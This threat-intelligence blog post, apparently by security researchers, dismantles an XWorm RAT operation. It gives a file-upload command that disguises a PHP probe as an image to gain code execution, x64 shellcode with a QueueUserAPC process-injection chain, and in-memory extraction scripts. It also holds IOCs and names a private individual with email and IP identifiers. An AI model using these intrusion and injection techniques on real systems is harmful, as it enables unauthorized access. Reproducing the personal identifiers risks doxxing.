How a Threat Actor's Own RAT Gave Up His Secrets: Dismantling Khan Islam's XWorm MaaS Operation
Published: 2026-03-07 Tags: threat-intelligence, malware-analysis, XWorm, RAT, MaaS, PyArmor, process-injection TLP: WHITE (IOCs sanitized for public sharing)
TL;DR
A routine threat hunt on ThreatFox led to the complete compromise of an XWorm RAT Malware-as-a-Service panel operated by Khan Islam (itsmekhanislam@gmail.com) from Bangladesh. We achieved RCE via an unrestricted file upload, dumped 4 MySQL databases revealing 1,893 victims and 13+ paying RAT operators, bypassed PyArmor v8 runtime encryption using QueueUserAPC injection to extract the RAT's decrypted configuration, and recovered 103KB of stolen surveillance data β which ironically included the operator's own clipboard, capturing him actively developing additional malware tools.
1. Discovery: A Panel Hiding in Plain Sight
It started with a ThreatFox hit. IP 84.201.14.2 was flagged as a malware C2 β hosted on UltaHost (AS214036). A quick probe revealed something unusual: an open directory on Apache/2.4.58 running on Windows with PHP 8.0.30 and XAMPP.
The directory listing told a story by itself:
/admin_web/ β "KeyManager Pro" β XWorm license management panel
/vexo/ β Cryptocurrency scam platform
/apk_file/ β Android spyware (com.run.childapp)
/chat_app_pro/ β Chat application with media upload
/crack_protect_detect/ β Anti-analysis module
/database_schema.sql β Exposed database schema
This wasn't just a C2 server. It was a one-stop criminal enterprise: RAT-as-a-Service, crypto scam, Android spyware, and a chat platform β all on a single Windows VPS.
2. Initial Access: The Upload That Changed Everything
The chat_app_pro application included a media upload endpoint at /chat_app_pro/media_server/upload.php. It accepted file uploads with no extension validation β just a MIME type check that was trivially bypassed:
curl -F "file=@probe.php;type=image/jpeg" https://84.201.14.2/chat_app_pro/media_server/upload.php
The PHP probe executed immediately. We had RCE.
Every probe was self-deleting (@unlink(__FILE__)) β execute, extract, vanish. Through a series of these ephemeral probes, we methodically extracted everything the server had to offer.
3. The Database: 1,893 Victims and Counting
The first major find: MySQL root had no password. The phpMyAdmin config confirmed AllowNoPassword=true. Four databases fell out:
winform_api β The RAT License Shop
The XWorm panel tracked 18 registered operator accounts with license keys, machine fingerprints, and activity logs. The operator hierarchy was clear:
| Operator | Machine | Victims | Notes |
|---|---|---|---|
| ItsMeKhan | DESKTOP-5JUCPMJ | 431 | Khan's primary handle |
| mypctest | DESKTOP-B7KUPLS | 417 | Khan testing |
| versionxxx | VERSIONX | 216 | Third-party operator, 8-core machine |
| lucifer9999 | Afnan | 21 | Possible real name leak |
| Kraken1488 | DESKTOP-UI8ADV2 | 1 | New operator (registered day before) |
Khan was operating under at least 9 different handles β ItsMeKhan, ItsMe, ItsME, mypctest, mytestpc, testpc, mylaptop, myvps172, newuser10 β collectively managing 1,474 of the 1,893 victim entries. The remaining ~400 were distributed across paying customers.
vexo β A Crypto Scam That Never Pays
Running alongside the RAT panel was "VEXO" β a fake cryptocurrency wallet targeting Bengali-speaking victims. The social engineering was textbook:
- Sign up, get a fake 2,000 VEXO token deposit
- "Invite 5 friends to unlock withdrawals"
- Play a runner mini-game to earn more fake tokens
- Request withdrawal β forever pending or rejected
141 victim accounts. 104 referral chains. 500+ fake transactions. 14 withdrawal requests β zero approved. The admin rejected the very first withdrawal with the note: "fake".
Support messages in Bengali confirmed the target demographic. One victim asked: "Can your site really give me money?" The answer, of course, was no.
4. Who Is Khan Islam?
Attribution came fast. Khan's OPSEC was... aspirational.
The evidence chain:
- Email:
itsmekhanislam@gmail.comβ found in Edge browser history (UltaHost billing login) - Location: Bangladesh β Grameenphone mobile IPs
37.111.200.119and37.111.212.206in VEXO admin audit logs - Chat alias: "rumi" β user ID 1 in chat_app_pro
- Billing: UltaHost product ID 184078
- Current session: RDP from DESKTOP-B7KUPLS (his "mypctest" machine) β he was actively connected during our investigation
- Microsoft account:
02boaqkpjmqqvbbz - Language markers: Bengali comments in source code, Bengali support messages
His Windows Defender was configured with exclusions on C:\Users, C:\Windows, and C:\xampp\htdocs β effectively neutering it for every path that mattered. He also had firewall rules named BLOCK-MAL-* to block other malware from infecting his server. A threat actor worried about other threat actors.
5. The Infrastructure
The panel server was just one node. Network connections, DNS cache, browser history, and hardcoded values revealed a broader footprint:
84.201.14.2 β Primary panel (UltaHost, fully compromised)
66.179.188.188 β C2 backend β c.ultaicloud.com:10013 (IONOS)
212.81.47.172 β Secondary Windows server (Datacamp, IP-whitelisted)
185.228.137.89 β Web infrastructure (netcup, Debian + CloudPanel)
23.94.252.77 β Payload host (XClient.exe β discovered later)
151.243.113.67 β Unknown C2, port 1337 (discovered later)
The C2 domain ultaicloud.com was a brand impersonation of his own hosting provider UltaHost ("ultahost" β "ultaicloud") β registered just 11 days prior on Namecheap with IONOS nameservers. The infrastructure domain 188966347.xyz was paid through 2030 β a 6-year registration signaling long-term criminal intent.
The C2 backend at 66.179.188.188:10013 ran Flask with Socket.IO. We completed a full Socket.IO handshake β it accepted connections without transport-layer authentication, assigning session IDs to anyone who asked.
6. The PyArmor Problem
On the panel server, a process called taskhostw.exe was running β the actual XWorm RAT client. But this wasn't a standard executable:
Size: 33.7 MB
Packer: PyInstaller (Python 3.12)
Protection: PyArmor v8 (AES+RSA encrypted bytecode, RFT mode)
Command: taskhostw.exe --server=http://c.ultaicloud.com:10013
PyArmor v8 with RFT (Rename Function Transform) mode encrypts Python bytecode at rest and decrypts it per-function at runtime. The PyInstaller extraction gave us the binary dependencies β python312.dll, pyarmor_runtime.pyd, various .pyd modules β but the actual Python code was encrypted blobs.
Static analysis was a dead end. To get the decrypted configuration, function names, and runtime state, we needed to extract from the live running process.
7. Cracking the Runtime: QueueUserAPC Injection
The challenge: inject Python code into a running PyArmor-protected process without crashing it.
Attempt 1: CreateRemoteThread (failed)
We wrote x64 shellcode that called PyGILState_Ensure β PyRun_SimpleString β PyGILState_Release and injected it via CreateRemoteThread. The result: ACCESS_VIOLATION at python312.dll+0x1d750b. The new thread had no Python thread state β PyGILState_Ensure couldn't initialize properly in this context.
Attempt 2: CreateRemoteThread with fresh PID (failed)
After the first crash killed the process, we waited for the RAT to be restarted. Second attempt: same technique, different PID. This time: GIL deadlock. The injected thread blocked forever trying to acquire the Global Interpreter Lock from the main thread. 30-second timeout. No output.
Attempt 3: QueueUserAPC (success)
The breakthrough was QueueUserAPC. Instead of creating a new thread, we queued an Asynchronous Procedure Call on the main thread itself. The APC fires during alertable waits β and the RAT's Socket.IO event loop regularly enters alertable states during I/O polling.
When the APC fires, the main thread already holds the GIL. No deadlock. No thread state initialization. The Python C API calls just work.
The shellcode (64 bytes, x64):
push rbx
sub rsp, 0x20
mov rbx, rcx ; APC parameter β payload base address
mov rax, [PyGILState_Ensure]
call rax ; acquire GIL state
mov [rsp+0x10], eax ; save state handle
lea rcx, [rbx+0x40] ; Python command at offset 64
mov rax, [PyRun_SimpleString]
call rax ; execute arbitrary Python
mov ecx, [rsp+0x10]
mov rax, [PyGILState_Release]
call rax ; release GIL
add rsp, 0x20
pop rbx
xor eax, eax
ret
Function addresses were resolved from python312.dll's PE export table:
| Function | RVA |
|---|---|
| PyGILState_Ensure | 0x184614 |
| PyRun_SimpleString | 0x282DF8 |
| PyGILState_Release | 0x18469C |
The injection chain: PHP probe β writes PowerShell script β PowerShell uses P/Invoke for OpenProcess β VirtualAllocEx (RWX) β WriteProcessMemory (shellcode + Python command) β CreateToolhelp32Snapshot to find main thread β QueueUserAPC β wait β read output file.
First test command: open('C:/xampp/tmp/t.txt','w').write('ok'). The file appeared. The process survived. We were in.
8. What We Found in the RAT's Memory
We ran 4 progressive extraction phases, each injecting increasingly complex Python commands into the running process:
Phase 1: Module Inventory
import sys
open('C:/xampp/tmp/p1.txt','w').write('\n'.join(sorted(sys.modules.keys())))
74 loaded modules confirmed the capability set: socketio, pynput, mss, PIL, pyperclip, psutil, pygetwindow, pywinpty, subprocess.
Phase 2: Function Names
import sys
open('C:/xampp/tmp/p2.txt','w').write('\n'.join(dir(sys.modules['__main__'])))
18 functions in decrypted __main__:
| Category | Functions |
|---|---|
| Surveillance | start_keylogger, start_clipboard_logger, stream_screen, take_screenshot |
| Remote Access | run_command, on_pty_open/input/close/resize, _pty_reader, check_rdp |
| C2 Comms | connect, disconnect, safe_connect |
| System | get_info, load_or_create_client_id, main, entry |
Phase 3: Variable Types
Mapped all global variables and their types β SECRET_KEY: str, SERVER_URL: str, streaming: bool, PTY_SESSIONS: dict, etc.
Phase 4: The Crown Jewels
import sys,json
m = sys.modules['__main__']
r = {k:{'t':type(v).__name__,'r':repr(v)[:500]}
for k,v in vars(m).items() if not k.startswith('__')}
open('C:/xampp/tmp/p4.txt','w').write(json.dumps(r,indent=1,default=str))
Every decrypted value fell out:
SECRET_KEY: vj4ZpMSMex@xEGCbgah
SERVER_URL: http://c.ultaicloud.com:10013
CLIENT_ID: cb91b4bd-74ad-487c-a114-5470e12c10e1
BASE_DIR: C:\Users\Administrator\AppData\Local\Microsoft\Logs
KEYLOG_PATH: ...\Microsoft\Logs\KL.log
CLIPBOARD_PATH: ...\Microsoft\Logs\CL.log
The ArgumentParser description was set to "COM Surrogate" β the process name disguise. The data directory masqueraded as a Microsoft Logs folder.
A fifth phase attempting to dump code objects (co_names, co_consts) was too aggressive β the process crashed. But we had everything we needed.
9. The Ironic Twist: Khan's Own RAT Snitched on Him
The RAT was configured to log keystrokes and clipboard data to files in C:\Users\Administrator\AppData\Local\Microsoft\Logs\. Since Khan was running the RAT on his own panel server, it was capturing his own activity.
We recovered:
- KL.log (355 bytes) β Sparse keylog showing Khan typing "00000000" into the License Key Management dashboard
- CL.log (103,500 bytes) β A treasure trove
The clipboard data contained three months of Khan's copied content:
Finding 1: Android Spyware in Active Development
Package com.org.classicdelivery β a second Android spyware variant (separate from the com.run.childapp already on the server). Written in Kotlin, disguised as a delivery app, with sophisticated permission-request handling and transparent activity overlays. The clipboard captured his debugging sessions β Log.d() calls, permission flow diagrams, and even Bengali-script development notes.
This shows active evolution: from the crude "child app" disguise to a more convincing "delivery app" social engineering vector.
Finding 2: Loader Builder v3 β Complete Source Code
The entire C# source of a malware builder tool was in the clipboard. Key details:
- Class:
Loader_builder(Windows Forms) - Default payload URL:
http://23.94.252.77/XClient.exe - Features: Output name randomization (UltraLoader.exe, MegaRunner.exe, etc.), custom icon injection, assembly info spoofing with legitimate company names (Microsoft, Adobe, Intel), version patching via rcedit
- Purpose: Generate unique-looking downloaders that fetch the real payload, evading signature detection
This gave us a new C2 IP (23.94.252.77) that wasn't in any of the panel's databases or network connections.
Finding 3: Another Unknown C2
A single clipboard entry from 2026-02-27 11:02:35:
151.243.113.67:1337
Copied during the Android spyware development session. Purpose unknown β possibly a C2 server for the mobile variant.
Finding 4: Internal Network Activity
Recent clipboard entries (March 4-7) show Khan repeatedly copying internal IPs 10.88.32.250 and 10.66.100.250 β suggesting activity on an internal network, possibly a corporate or ISP environment.
10. The Full Picture
Khan Islam is a Bangladeshi threat actor running a multi-pronged criminal operation:
| Operation | Scale | Status |
|---|---|---|
| XWorm RAT MaaS | 13+ operators, 1,893 victims | Active, growing |
| VEXO Crypto Scam | 141 victims, 0 payouts | Active |
| Android Spyware v1 | com.run.childapp, deployed | Deployed |
| Android Spyware v2 | com.org.classicdelivery | In development |
| Loader Builder v3 | C# builder, XClient payload | Active |
His infrastructure spans 6+ servers across UltaHost, IONOS, Datacamp, and netcup, with domains registered through Namecheap and protected by Cloudflare. The operation has been running since at least July 2024 (domain registration) with the RAT panel active since January 2026.
The technical sophistication is moderate β PyArmor-protected custom Python RAT, Socket.IO C2, Android development in Kotlin, C# malware builder β but the operational security is remarkably poor. Open directories, passwordless databases, real email in browser history, hardcoded admin_token_12345, and the crowning achievement: running his own surveillance RAT on his development machine, which captured him building other malware.
11. IOCs
Network
84.201.14.2 XWorm panel + VEXO scam (UltaHost AS214036)
66.179.188.188 C2 backend (IONOS AS8560)
212.81.47.172 Secondary server (Datacamp AS212238)
185.228.137.89 Web infra (netcup AS197540)
23.94.252.77 XClient.exe payload host
151.243.113.67 Unknown C2 (port 1337)
37.111.200.119 Operator IP (Grameenphone BD)
37.111.212.206 Operator IP (Grameenphone BD)
103.114.97.248 Active RAT operator (SKYNET BD)
Domains
c.ultaicloud.com C2 callback β 66.179.188.188:10013
ultaicloud.com C2 domain (Namecheap)
188966347.xyz Infrastructure domain
manage.188966347.xyz kodbox file cloud
upload.188966347.xyz IP grabber
cp.188966347.xyz CloudPanel admin
Files
SHA256: 229225eb456f8172b45ccd176f2333b8e66f45daea9d346361b6329960f2f72f
Name: taskhostw.exe (originally XClient.exe)
Size: 33,760,728 bytes
Type: PyInstaller + PyArmor v8, Python 3.12
Package: com.run.childapp (Android spyware, deployed)
Package: com.org.classicdelivery (Android spyware, in development)
RAT Configuration
SECRET_KEY: vj4ZpMSMex@xEGCbgah
SERVER_URL: http://c.ultaicloud.com:10013
CLIENT_ID: cb91b4bd-74ad-487c-a114-5470e12c10e1
Data dir: %LOCALAPPDATA%\Microsoft\Logs
Disguise: "COM Surrogate" (process description)
User-Agent: WinForm-App/1.0 (panel client)
Crypto Wallets (victim-submitted)
TRC20: THSjd7aM7vUQyuXx2Hg9ACxNPtdsJ96ASs
BEP20: 0x7473d2c3e40369ebb17a4b59eab2840c9f6f49bd
MITRE ATT&CK
T1566.001 (Spearphishing Attachment), T1204.002 (Malicious File Execution), T1059 (Command Interpreter), T1036 (Masquerading), T1027.002 (Software Packing), T1056.001 (Keylogging), T1115 (Clipboard Data), T1113 (Screen Capture), T1082 (System Info Discovery), T1021.001 (RDP), T1071 (Application Layer Protocol), T1041 (Exfiltration Over C2), T1562.001 (Disable Defenses)
12. Takeaways
For defenders:
- Monitor for
WinForm-App/1.0user-agent strings β it's the XWorm panel client - The RAT stores data in
%LOCALAPPDATA%\Microsoft\Logsβ check for unexpectedKL.logandCL.logfiles - Socket.IO on non-standard ports (10013) with WebSocket upgrade is the C2 pattern
taskhostw.exewith a--server=argument is the RAT β real taskhostw.exe doesn't take arguments
For researchers:
- QueueUserAPC is more reliable than CreateRemoteThread for injecting into Python processes β the APC fires in the main thread's context during alertable waits, avoiding GIL deadlock
- PyArmor v8 RFT mode preserves string constants but transforms names β runtime extraction via
vars(sys.modules['__main__'])recovers everything - Phased extraction (simple β complex) is critical β aggressive code object dumps can crash the process
For threat actors reading this: Maybe don't run your surveillance RAT on the same machine where you develop your other malware. Just a thought.
Abuse reports filed with UltaHost. Reports pending for IONOS, Datacamp, netcup, Namecheap, and Google. Novel sample SHA256 pending MalwareBazaar submission.